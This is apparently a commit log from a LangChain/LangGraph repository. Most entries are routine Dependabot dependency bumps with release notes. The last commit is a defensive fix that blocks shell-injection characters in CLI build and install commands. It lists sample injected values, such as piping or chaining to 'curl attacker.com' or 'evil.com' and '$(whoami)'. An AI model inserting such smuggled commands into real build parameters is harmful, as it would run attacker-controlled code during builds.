href="https://github.com/eslint/eslintrc/commit/30339d036361c13362d5a38191bb2388ad56bb6f"><code>30339d0</code></a> fix: update <code>minimatch</code> to <code>3.1.3</code> to address security vulnerabilities (<a href="https://redirect.github.com/eslint/eslintrc/issues/224">#224</a>)</li> <li><a href="https://github.com/eslint/eslintrc/commit/9139140aece172fa4c11a466c493609be31cfa54"><code>9139140</code></a> fix: update <code>ajv</code> to <code>6.14.0</code> to address security vulnerabilities (<a href="https://redirect.github.com/eslint/eslintrc/issues/221">#221</a>)</li> <li><a href="https://github.com/eslint/eslintrc/commit/245ada592eef13bb457f30ecd8b5cb9cfb4da0a9"><code>245ada5</code></a> docs: Update README sponsors</li> <li><a href="https://github.com/eslint/eslintrc/commit/78b1a0ecec3f88d780b31418da61f57232cf83dc"><code>78b1a0e</code></a> docs: Update README sponsors</li> <li><a href="https://github.com/eslint/eslintrc/commit/df32fff115e0666077787def434a200f2aa5f8f7"><code>df32fff</code></a> docs: Update README sponsors</li> <li><a href="https://github.com/eslint/eslintrc/commit/a62f7f5fed3d9c8ab3254902f5cc9740a33bc764"><code>a62f7f5</code></a> docs: Update README sponsors</li> <li><a href="https://github.com/eslint/eslintrc/commit/84a32c5071073b00bc091fff186e7d4ab9b343e6"><code>84a32c5</code></a> docs: Update README sponsors</li> <li><a href="https://github.com/eslint/eslintrc/commit/7ab5635975c9614c9defb2a36f92a8308fa8fedd"><code>7ab5635</code></a> docs: Update README sponsors</li> <li><a href="https://github.com/eslint/eslintrc/commit/5e8a1531f79b07f4bb2661429b1bee65414ece61"><code>5e8a153</code></a> docs: Update README sponsors</li> <li>Additional commits viewable in <a href="https://github.com/eslint/eslintrc/compare/eslintrc-v3.3.3...eslintrc-v3.3.4">compare view</a></li> </ul> </details> <br /> Updates `eslint` from 10.0.1 to 10.0.2 <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/eslint/eslint/releases">eslint's releases</a>.</em></p> <blockquote> <h2>v10.0.2</h2> <h2>Bug Fixes</h2> <ul> <li><a href="https://github.com/eslint/eslint/commit/2b723616a4daeacd4605f11b4d087d4a7cae5c74"><code>2b72361</code></a> fix: update <code>ajv</code> to <code>6.14.0</code> to address security vulnerabilities (<a href="https://redirect.github.com/eslint/eslint/issues/20537">#20537</a>) (루밀LuMir)</li> </ul> <h2>Documentation</h2> <ul> <li><a href="https://github.com/eslint/eslint/commit/13eeedbbd16218b0da1425b78cb284937fd964ca"><code>13eeedb</code></a> docs: link rule type explanation to CLI option --fix-type (<a href="https://redirect.github.com/eslint/eslint/issues/20548">#20548</a>) (Mike McCready)</li> <li><a href="https://github.com/eslint/eslint/commit/98cbf6ba53a1fb2028d25078c7049a538d0e392c"><code>98cbf6b</code></a> docs: update migration guide per Program range change (<a href="https://redirect.github.com/eslint/eslint/issues/20534">#20534</a>) (Huáng Jùnliàng)</li> <li><a href="https://github.com/eslint/eslint/commit/61a24054411fa56ce74bef554846caa9d8cb01f5"><code>61a2405</code></a> docs: add missing semicolon in vars-on-top rule example (<a href="https://redirect.github.com/eslint/eslint/issues/20533">#20533</a>) (Abilash)</li> </ul> <h2>Chores</h2> <ul> <li><a href="https://github.com/eslint/eslint/commit/951223b29669885643f7854d7c824288ba962d7e"><code>951223b</code></a> chore: update dependency <code>@​eslint/eslintrc</code> to ^3.3.4 (<a href="https://redirect.github.com/eslint/eslint/issues/20553">#20553</a>) (renovate[bot])</li> <li><a href="https://github.com/eslint/eslint/commit/6aa1afe6694f3fd7f82116109a5ef2ad18ece074"><code>6aa1afe</code></a> chore: update dependency eslint-plugin-jsdoc to ^62.7.0 (<a href="https://redirect.github.com/eslint/eslint/issues/20536">#20536</a>) (Milos Djermanovic)</li> </ul> </blockquote> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/eslint/eslint/commit/55122d6f971119607c85b0df8e62942171c939f7"><code>55122d6</code></a> 10.0.2</li> <li><a href="https://github.com/eslint/eslint/commit/80f1e29ec87c07a1cef789c718d6167da59f35f6"><code>80f1e29</code></a> Build: changelog update for 10.0.2</li> <li><a href="https://github.com/eslint/eslint/commit/951223b29669885643f7854d7c824288ba962d7e"><code>951223b</code></a> chore: update dependency <code>@​eslint/eslintrc</code> to ^3.3.4 (<a href="https://redirect.github.com/eslint/eslint/issues/20553">#20553</a>)</li> <li><a href="https://github.com/eslint/eslint/commit/13eeedbbd16218b0da1425b78cb284937fd964ca"><code>13eeedb</code></a> docs: link rule type explanation to CLI option --fix-type (<a href="https://redirect.github.com/eslint/eslint/issues/20548">#20548</a>)</li> <li><a href="https://github.com/eslint/eslint/commit/6aa1afe6694f3fd7f82116109a5ef2ad18ece074"><code>6aa1afe</code></a> chore: update dependency eslint-plugin-jsdoc to ^62.7.0 (<a href="https://redirect.github.com/eslint/eslint/issues/20536">#20536</a>)</li> <li><a href="https://github.com/eslint/eslint/commit/2b723616a4daeacd4605f11b4d087d4a7cae5c74"><code>2b72361</code></a> fix: update <code>ajv</code> to <code>6.14.0</code> to address security vulnerabilities (<a href="https://redirect.github.com/eslint/eslint/issues/20537">#20537</a>)</li> <li><a href="https://github.com/eslint/eslint/commit/98cbf6ba53a1fb2028d25078c7049a538d0e392c"><code>98cbf6b</code></a> docs: update migration guide per Program range change (<a href="https://redirect.github.com/eslint/eslint/issues/20534">#20534</a>)</li> <li><a href="https://github.com/eslint/eslint/commit/61a24054411fa56ce74bef554846caa9d8cb01f5"><code>61a2405</code></a> docs: add missing semicolon in vars-on-top rule example (<a href="https://redirect.github.com/eslint/eslint/issues/20533">#20533</a>)</li> <li>See full diff in <a href="https://github.com/eslint/eslint/compare/v10.0.1...v10.0.2">compare view</a></li> </ul> </details> <br /> Updates `@typescript-eslint/eslint-plugin` from 8.56.0 to 8.56.1 <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/typescript-eslint/typescript-eslint/releases"><code>@​typescript-eslint/eslint-plugin</code>'s releases</a>.</em></p> <blockquote> <h2>v8.56.1</h2> <h2>8.56.1 (2026-02-23)</h2> <h2>What's Changed</h2> <ul> <li>chore(deps): update dependency minimatch to v10.2.2 by <a href="https://github.com/benmccann"><code>@​benmccann</code></a> in <a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12074">typescript-eslint/typescript-eslint#12074</a></li> </ul> <p>You can read about our <a href="https://typescript-eslint.io/users/versioning">versioning strategy</a> and <a href="https://typescript-eslint.io/users/releases">releases</a> on our website.</p> </blockquote> </details> <details> <summary>Changelog</summary> <p><em>Sourced from <a href="https://github.com/typescript-eslint/typescript-eslint/blob/main/packages/eslint-plugin/CHANGELOG.md"><code>@​typescript-eslint/eslint-plugin</code>'s changelog</a>.</em></p> <blockquote> <h2>8.56.1 (2026-02-23)</h2> <p>This was a version bump only for eslint-plugin to align it with other projects, there were no code changes.</p> <p>See <a href="https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.56.1">GitHub Releases</a> for more information.</p> <p>You can read about our <a href="https://typescript-eslint.io/users/versioning">versioning strategy</a> and <a href="https://typescript-eslint.io/users/releases">releases</a> on our website.</p> </blockquote> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/typescript-eslint/typescript-eslint/commit/96a04a97454cf6b6ae8366711c09333bf6e2327a"><code>96a04a9</code></a> chore(release): publish 8.56.1</li> <li><a href="https://github.com/typescript-eslint/typescript-eslint/commit/958f390c8c5b136e6f095f9230ba301fc1db00e9"><code>958f390</code></a> chore(eslint-plugin): add default excludes to vitest (<a href="https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/eslint-plugin/issues/12067">#12067</a>)</li> <li><a href="https://github.com/typescript-eslint/typescript-eslint/commit/ffb46eaa41a7c8a831dc09f0ed726dd4cc06ea4f"><code>ffb46ea</code></a> docs(eslint-plugin): [method-signature-style] clarify autofix impact on type ...</li> <li>See full diff in <a href="https://github.com/typescript-eslint/typescript-eslint/commits/v8.56.1/packages/eslint-plugin">compare view</a></li> </ul> </details> <br /> Updates `@typescript-eslint/parser` from 8.56.0 to 8.56.1 <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/typescript-eslint/typescript-eslint/releases"><code>@​typescript-eslint/parser</code>'s releases</a>.</em></p> <blockquote> <h2>v8.56.1</h2> <h2>8.56.1 (2026-02-23)</h2> <h2>What's Changed</h2> <ul> <li>chore(deps): update dependency minimatch to v10.2.2 by <a href="https://github.com/benmccann"><code>@​benmccann</code></a> in <a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12074">typescript-eslint/typescript-eslint#12074</a></li> </ul> <p>You can read about our <a href="https://typescript-eslint.io/users/versioning">versioning strategy</a> and <a href="https://typescript-eslint.io/users/releases">releases</a> on our website.</p> </blockquote> </details> <details> <summary>Changelog</summary> <p><em>Sourced from <a href="https://github.com/typescript-eslint/typescript-eslint/blob/main/packages/parser/CHANGELOG.md"><code>@​typescript-eslint/parser</code>'s changelog</a>.</em></p> <blockquote> <h2>8.56.1 (2026-02-23)</h2> <p>This was a version bump only for parser to align it with other projects, there were no code changes.</p> <p>See <a href="https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.56.1">GitHub Releases</a> for more information.</p> <p>You can read about our <a href="https://typescript-eslint.io/users/versioning">versioning strategy</a> and <a href="https://typescript-eslint.io/users/releases">releases</a> on our website.</p> </blockquote> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/typescript-eslint/typescript-eslint/commit/96a04a97454cf6b6ae8366711c09333bf6e2327a"><code>96a04a9</code></a> chore(release): publish 8.56.1</li> <li>See full diff in <a href="https://github.com/typescript-eslint/typescript-eslint/commits/v8.56.1/packages/parser">compare view</a></li> </ul> </details> <br /> Updates `@langchain/core` from 1.1.27 to 1.1.29 <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/langchain-ai/langchainjs/releases"><code>@​langchain/core</code>'s releases</a>.</em></p> <blockquote> <h2><code>@​langchain/core</code><a href="https://github.com/1"><code>@​1</code></a>.1.29</h2> <h3>Patch Changes</h3> <ul> <li> <p><a href="https://redirect.github.com/langchain-ai/langchainjs/pull/10106">#10106</a> <a href="https://github.com/langchain-ai/langchainjs/commit/9f30267e95a2a42fac71f1d3674b84c5a190dbbc"><code>9f30267</code></a> Thanks <a href="https://github.com/hntrl"><code>@​hntrl</code></a>! - Add package version metadata to runnable traces. Each package now stamps its version in <code>this.metadata.versions</code> at construction time, making version info available in LangSmith trace metadata.</p> </li> <li> <p><a href="https://redirect.github.com/langchain-ai/langchainjs/pull/10154">#10154</a> <a href="https://github.com/langchain-ai/langchainjs/commit/403a99fd826383f30300809ae077e1c967023520"><code>403a99f</code></a> Thanks <a href="https://github.com/kanweiwei"><code>@​kanweiwei</code></a>! - fix(core): add usage_metadata to AIMessage lc_aliases</p> </li> <li> <p><a href="https://redirect.github.com/langchain-ai/langchainjs/pull/10169">#10169</a> <a href="https://github.com/langchain-ai/langchainjs/commit/3b1fd5458a4aa29c398122829f383f21b5ac39da"><code>3b1fd54</code></a> Thanks <a href="https://github.com/hntrl"><code>@​hntrl</code></a>! - fix(core, langchain): bump uuid dependency from ^10.0.0 to ^11.0.0 to fix Metro bundler error</p> <p>The <code>uuid</code> v10 package has ambiguous <code>exports</code> in its <code>package.json</code> which causes Metro (used by Expo/React Native) to resolve the wrong entry point, resulting in <code>Cannot read properties of undefined (reading 'v1')</code>. The <code>uuid</code> v11 package fixes its exports map to work correctly with Metro's package exports resolution.</p> </li> <li> <p><a href="https://redirect.github.com/langchain-ai/langchainjs/pull/10044">#10044</a> <a href="https://github.com/langchain-ai/langchainjs/commit/77bd98274a885e947d76f7a9c6dd0b3763453218"><code>77bd982</code></a> Thanks <a href="https://github.com/hntrl"><code>@​hntrl</code></a>! - fix(core): remove inherited LangChainTracer handlers when tracingEnabled is false</p> <p>When a RunTree explicitly disables tracing via <code>tracingEnabled: false</code>, <code>CallbackManager._configureSync</code> now strips any inherited <code>LangChainTracer</code> handlers so child runs don't produce traces.</p> </li> </ul> <h2><code>@​langchain/core</code><a href="https://github.com/1"><code>@​1</code></a>.1.28</h2> <h3>Patch Changes</h3> <ul> <li> <p><a href="https://redirect.github.com/langchain-ai/langchainjs/pull/10140">#10140</a> <a href="https://github.com/langchain-ai/langchainjs/commit/10a876c7d5ff27d8f2889761ee20e95f76a50518"><code>10a876c</code></a> Thanks <a href="https://github.com/hntrl"><code>@​hntrl</code></a>! - Merge content blocks by string index during streaming.</p> </li> <li> <p><a href="https://redirect.github.com/langchain-ai/langchainjs/pull/10102">#10102</a> <a href="https://github.com/langchain-ai/langchainjs/commit/b46d96a508a8bf212561dbb6f025e35c75f16257"><code>b46d96a</code></a> Thanks <a href="https://github.com/colifran"><code>@​colifran</code></a>! - feat: implement aynchronous generator tool calling for streaming partial tool results</p> </li> </ul> </blockquote> </details> <details> <summary>Commits</summary> <ul> <li>See full diff in <a href="https://github.com/langchain-ai/langchainjs/commits/@langchain/core@1.1.29">compare view</a></li> </ul> </details> <br /> Updates `@langchain/langgraph` from 1.1.5 to 1.2.0 <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/langchain-ai/langgraphjs/releases"><code>@​langchain/langgraph</code>'s releases</a>.</em></p> <blockquote> <h2><code>@​langchain/langgraph-checkpoint-mongodb</code><a href="https://github.com/1"><code>@​1</code></a>.2.0</h2> <h3>Minor Changes</h3> <ul> <li><a href="https://redirect.github.com/langchain-ai/langgraphjs/pull/1991">#1991</a> <a href="https://github.com/langchain-ai/langgraphjs/commit/38db67f3599daffcbec5d04f16f36e69abe22e08"><code>38db67f</code></a> Thanks <a href="https://github.com/vanb"><code>@​vanb</code></a>! - Add optional <code>enableTimestamps</code> parameter to <code>MongoDBSaver</code> that sets an <code>upserted_at</code> date via MongoDB's <code>$currentDate</code> operator on every upsert. Useful for MongoDB TTL indexes, auditing, or debugging.</li> </ul> <h2><code>@​langchain/langgraph</code><a href="https://github.com/1"><code>@​1</code></a>.2.0</h2> <h3>Minor Changes</h3> <ul> <li> <p><a href="https://redirect.github.com/langchain-ai/langgraphjs/pull/2002">#2002</a> <a href="https://github.com/langchain-ai/langgraphjs/commit/fce9d38267e7d99029646cfcf7abb78c7b937e34"><code>fce9d38</code></a> Thanks <a href="https://github.com/hntrl"><code>@​hntrl</code></a>! - feat(langgraph): add Overwrite class for bypassing channel reducers</p> <p>Adds an <code>Overwrite</code> class and <code>OverwriteValue</code> type that allow nodes to bypass reducers in <code>BinaryOperatorAggregate</code> channels, writing values directly instead of passing them through the reducer function. This is useful when a node needs to replace accumulated state rather than append to it.</p> <ul> <li>New <code>Overwrite</code> class exported from <code>@langchain/langgraph</code></li> <li><code>BinaryOperatorAggregate</code> channel detects <code>OverwriteValue</code> and sets the value directly</li> <li><code>Annotation</code>, <code>StateSchema</code>, and zod schema type mappings updated to include <code>OverwriteValue</code> in update types</li> </ul> </li> </ul> <h3>Patch Changes</h3> <ul> <li> <p><a href="https://redirect.github.com/langchain-ai/langgraphjs/pull/1992">#1992</a> <a href="https://github.com/langchain-ai/langgraphjs/commit/937f78030f1360251361c6096bbd0ff287662a2b"><code>937f780</code></a> Thanks <a href="https://github.com/christian-bromann"><code>@​christian-bromann</code></a>! - fix(core): don't trace channel read/writes</p> </li> <li> <p><a href="https://redirect.github.com/langchain-ai/langgraphjs/pull/1984">#1984</a> <a href="https://github.com/langchain-ai/langgraphjs/commit/aa8e878e5b71128685ab7e7a79c96bd2519c0123"><code>aa8e878</code></a> Thanks <a href="https://github.com/colifran"><code>@​colifran</code></a>! - feat: add tools stream mode for tool lifecycle events</p> </li> <li> <p>Updated dependencies [<a href="https://github.com/langchain-ai/langgraphjs/commit/aa8e878e5b71128685ab7e7a79c96bd2519c0123"><code>aa8e878</code></a>, <a href="https://github.com/langchain-ai/langgraphjs/commit/1b088e578aaef7d231f37885b94bfd763f99a775"><code>1b088e5</code></a>]:</p> <ul> <li><code>@​langchain/langgraph-sdk</code><a href="https://github.com/1"><code>@​1</code></a>.6.5</li> </ul> </li> </ul> <h2><code>@​langchain/langgraph-api</code><a href="https://github.com/1"><code>@​1</code></a>.1.14</h2> <h3>Patch Changes</h3> <ul> <li> <p><a href="https://redirect.github.com/langchain-ai/langgraphjs/pull/1984">#1984</a> <a href="https://github.com/langchain-ai/langgraphjs/commit/aa8e878e5b71128685ab7e7a79c96bd2519c0123"><code>aa8e878</code></a> Thanks <a href="https://github.com/colifran"><code>@​colifran</code></a>! - feat: add tools stream mode for tool lifecycle events</p> </li> <li> <p>Updated dependencies [<a href="https://github.com/langchain-ai/langgraphjs/commit/aa8e878e5b71128685ab7e7a79c96bd2519c0123"><code>aa8e878</code></a>, <a href="https://github.com/langchain-ai/langgraphjs/commit/1b088e578aaef7d231f37885b94bfd763f99a775"><code>1b088e5</code></a>]:</p> <ul> <li><code>@​langchain/langgraph-sdk</code><a href="https://github.com/1"><code>@​1</code></a>.6.5</li> <li><code>@​langchain/langgraph-ui</code><a href="https://github.com/1"><code>@​1</code></a>.1.14</li> </ul> </li> </ul> <h2><code>@​langchain/langgraph-cli</code><a href="https://github.com/1"><code>@​1</code></a>.1.14</h2> <h3>Patch Changes</h3> <ul> <li>Updated dependencies [<a href="https://github.com/langchain-ai/langgraphjs/commit/aa8e878e5b71128685ab7e7a79c96bd2519c0123"><code>aa8e878</code></a>]: <ul> <li><code>@​langchain/langgraph-api</code><a href="https://github.com/1"><code>@​1</code></a>.1.14</li> </ul> </li> </ul> <h2><code>@​langchain/langgraph-ui</code><a href="https://github.com/1"><code>@​1</code></a>.1.14</h2> <p>No release notes provided.</p> <h2><code>@​langchain/langgraph-api</code><a href="https://github.com/1"><code>@​1</code></a>.1.13</h2> <h3>Patch Changes</h3> <ul> <li> <p><a href="https://redirect.github.com/langchain-ai/langgraphjs/pull/1960">#1960</a> <a href="https://github.com/langchain-ai/langgraphjs/commit/4ebe31ec6ea289f2eeff324fb1875af869d543c9"><code>4ebe31e</code></a> Thanks <a href="https://github.com/hntrl"><code>@​hntrl</code></a>! - relax langsmith dep</p> </li> <li> <p>Updated dependencies []:</p> <ul> <li><code>@​langchain/langgraph-ui</code><a href="https://github.com/1"><code>@​1</code></a>.1.13</li> </ul> </li> </ul> <!-- raw HTML omitted --> </blockquote> <p>... (truncated)</p> </details> <details> <summary>Changelog</summary> <p><em>Sourced from <a href="https://github.com/langchain-ai/langgraphjs/blob/main/libs/langgraph-core/CHANGELOG.md"><code>@​langchain/langgraph</code>'s changelog</a>.</em></p> <blockquote> <h2>1.2.0</h2> <h3>Minor Changes</h3> <ul> <li> <p><a href="https://redirect.github.com/langchain-ai/langgraphjs/pull/2002">#2002</a> <a href="https://github.com/langchain-ai/langgraphjs/commit/fce9d38267e7d99029646cfcf7abb78c7b937e34"><code>fce9d38</code></a> Thanks <a href="https://github.com/hntrl"><code>@​hntrl</code></a>! - feat(langgraph): add Overwrite class for bypassing channel reducers</p> <p>Adds an <code>Overwrite</code> class and <code>OverwriteValue</code> type that allow nodes to bypass reducers in <code>BinaryOperatorAggregate</code> channels, writing values directly instead of passing them through the reducer function. This is useful when a node needs to replace accumulated state rather than append to it.</p> <ul> <li>New <code>Overwrite</code> class exported from <code>@langchain/langgraph</code></li> <li><code>BinaryOperatorAggregate</code> channel detects <code>OverwriteValue</code> and sets the value directly</li> <li><code>Annotation</code>, <code>StateSchema</code>, and zod schema type mappings updated to include <code>OverwriteValue</code> in update types</li> </ul> </li> </ul> <h3>Patch Changes</h3> <ul> <li> <p><a href="https://redirect.github.com/langchain-ai/langgraphjs/pull/1992">#1992</a> <a href="https://github.com/langchain-ai/langgraphjs/commit/937f78030f1360251361c6096bbd0ff287662a2b"><code>937f780</code></a> Thanks <a href="https://github.com/christian-bromann"><code>@​christian-bromann</code></a>! - fix(core): don't trace channel read/writes</p> </li> <li> <p><a href="https://redirect.github.com/langchain-ai/langgraphjs/pull/1984">#1984</a> <a href="https://github.com/langchain-ai/langgraphjs/commit/aa8e878e5b71128685ab7e7a79c96bd2519c0123"><code>aa8e878</code></a> Thanks <a href="https://github.com/colifran"><code>@​colifran</code></a>! - feat: add tools stream mode for tool lifecycle events</p> </li> <li> <p>Updated dependencies [<a href="https://github.com/langchain-ai/langgraphjs/commit/aa8e878e5b71128685ab7e7a79c96bd2519c0123"><code>aa8e878</code></a>, <a href="https://github.com/langchain-ai/langgraphjs/commit/1b088e578aaef7d231f37885b94bfd763f99a775"><code>1b088e5</code></a>]:</p> <ul> <li><code>@​langchain/langgraph-sdk</code><a href="https://github.com/1"><code>@​1</code></a>.6.5</li> </ul> </li> </ul> </blockquote> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/langchain-ai/langgraphjs/commit/6b576f08b6ec071eefeb6c8cd60e35886eb97399"><code>6b576f0</code></a> chore: version packages (<a href="https://github.com/langchain-ai/langgraphjs/tree/HEAD/libs/langgraph-core/issues/1995">#1995</a>)</li> <li><a href="https://github.com/langchain-ai/langgraphjs/commit/fce9d38267e7d99029646cfcf7abb78c7b937e34"><code>fce9d38</code></a> feat(langgraph): add Overwrite class for bypassing channel reducers (<a href="https://github.com/langchain-ai/langgraphjs/tree/HEAD/libs/langgraph-core/issues/2002">#2002</a>)</li> <li><a href="https://github.com/langchain-ai/langgraphjs/commit/aa8e878e5b71128685ab7e7a79c96bd2519c0123"><code>aa8e878</code></a> feat: add tools stream mode for tool lifecycle events (<a href="https://github.com/langchain-ai/langgraphjs/tree/HEAD/libs/langgraph-core/issues/1984">#1984</a>)</li> <li><a href="https://github.com/langchain-ai/langgraphjs/commit/937f78030f1360251361c6096bbd0ff287662a2b"><code>937f780</code></a> fix(core): don't trace channel read/writes (<a href="https://github.com/langchain-ai/langgraphjs/tree/HEAD/libs/langgraph-core/issues/1992">#1992</a>)</li> <li>See full diff in <a href="https://github.com/langchain-ai/langgraphjs/commits/@langchain/langgraph@1.2.0/libs/langgraph-core">compare view</a></li> </ul> </details> <br /> Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`. [//]: # (dependabot-automerge-start) [//]: # (dependabot-automerge-end) --- <details> <summary>Dependabot commands and options</summary> <br /> You can trigger Dependabot actions by commenting on this PR: - `@dependabot rebase` will rebase this PR - `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it - `@dependabot show <dependency name> ignore conditions` will show all of the ignore conditions of the specified dependency - `@dependabot ignore <dependency name> major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself) - `@dependabot ignore <dependency name> minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself) - `@dependabot ignore <dependency name>` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself) - `@dependabot unignore <dependency name>` will remove all of the ignore conditions of the specified dependency - `@dependabot unignore <dependency name> <ignore condition>` will remove the ignore condition of the specified dependency and ignore conditions </details> Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>	2026-03-09 16:00:05 -07:00
3 people	e00a027579	fix(cli): block shell injection chars in build/install commands (#7044) ... ## Summary - Adds `|`, `;`, `$`, `>`, `<`, `\t` to `DISALLOWED_BUILD_COMMAND_CHARS` to prevent command injection in CLI `build_command` / `install_command` parameters - Previously these values were interpolated directly into Dockerfile `RUN` directives with no validation - Single `&` is blocked (background execution) while `&&` remains allowed since it's commonly used in build commands (e.g. `npm install && npm build`) - Adds `has_disallowed_build_command_content()` validation function and applies it in the `build` CLI command - Mirrors langchain-ai/langchainplus#19143 **Attack examples now blocked:** - `pip install foo | curl attacker.com` (pipe) - `npm install; curl evil.com` (semicolon) - `pip install $(whoami)` (command substitution) - `pip install ${IFS}evil` (variable expansion) - `npm install & curl evil.com` (background execution) ## Test Plan - [x] 27 new unit tests covering all disallowed chars, injection patterns, single `&` rejection, `&&` allowance, and valid commands - [x] All 64 tests in `test_config.py` pass (37 existing + 27 new) 🤖 Generated with [Claude Code](https://claude.com/claude-code) --------- Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>	2026-03-06 21:14:57 +00:00